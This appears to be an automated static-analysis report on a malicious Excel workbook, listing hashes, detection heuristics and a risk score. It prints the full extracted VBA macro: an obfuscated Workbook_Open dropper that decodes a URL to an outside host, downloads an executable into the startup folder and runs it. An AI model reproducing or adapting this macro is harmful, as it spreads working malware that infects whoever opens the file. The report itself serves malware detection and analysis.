Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c51e54fd72c61d06…

MALICIOUS

Office (OLE)

31.5 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 3b2e584d484105e47701a19c339bbb5b SHA-1: 6bb771fe570ad81e3022b4c90a04db1a837b5fe8 SHA-256: c51e54fd72c61d06b6952990db2025e8221fc4b0d26a3800b4101c7936803b3d
328 Risk Score

Heuristics 8

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    YWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFRXUEVHYEHFKTBEFKVSIJYCLP = CreateObject("WScript.Shell").Specialfolders(7) + VEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJW
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    IBWBPDVEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQ = EMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFR.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set FLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQD = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5063 bytes
SHA-256: 48dfa0a1395421e49c6decf29ab904a51f9dfa9670ba0b4e12d973c6f66cc46f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub jhjggjkbjk()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Set FLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQD = CreateObject("Shell.Application")
Set EMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFR = CreateObject("microsoft.xmlhttp")
Set SIJYCLPKBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPD = CreateObject("adodb.stream")
VEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJW = THLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZF("]TICMI/fyf")
CBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFRXUEVHYEHFKTBEFKV = THLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZF("iuuq;00pofesjwfofu/yz{0`pvuqvuD3FGG1G/fyf!")

YWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFRXUEVHYEHFKTBEFKVSIJYCLP = CreateObject("WScript.Shell").Specialfolders(7) + VEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJW
EMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFR.Open "GET", CBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFRXUEVHYEHFKTBEFKV, False
EMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFR.send
IBWBPDVEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQ = EMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFR.responseBody
If EMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFR.Status = 200 Then
SIJYCLPKBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPD.Open
SIJYCLPKBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPD.Type = 1
SIJYCLPKBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPD.Write IBWBPDVEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQ
SIJYCLPKBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPD.SaveToFile YWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFRXUEVHYEHFKTBEFKVSIJYCLP, 2
SIJYCLPKBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPD.Close
End If
FLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQD.Open (YWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFRXUEVHYEHFKTBEFKVSIJYCLP)


End Sub

Function THLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZF(DRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNK)
LJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSD = 10 - 9
        KBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPETL = ""
    For JEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOH = LJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSD To Len(DRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNK)
        VSIJYCLPKBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPET = Asc(Mid(DRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNK, JEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOH, LJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSD))

            JWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFRXUEVHYEHFKTBEFK = VSIJYCLPKBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPET - LJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZFDRYISCZTKOOOQJFJXFEMOPLXFCTLMWKMTYJQKDQCBPGOHJWJPMVTFQDYWDLSD
        KBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPETL = KBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPETL & Chr(JWJPMVTFQDYWDLSDWCNLZBQBEHCSWWVYKNRGNMUWXTGNKCSUESUCZRYLLYDJXHWJRFRXUEVHYEHFKTBEFK)
    Next
    THLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPETLJEOJFLQIICUITZHXGYBOIHENLWIUWVBDKUVZF = KBXXXZSVZIUUDXYUHVLKBVGBWDIZZTTHLRGPFRZGZYVFDOHMPNSBCMNSEUJQHKTXSIGGGIBWBPDVEGHDPETL
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True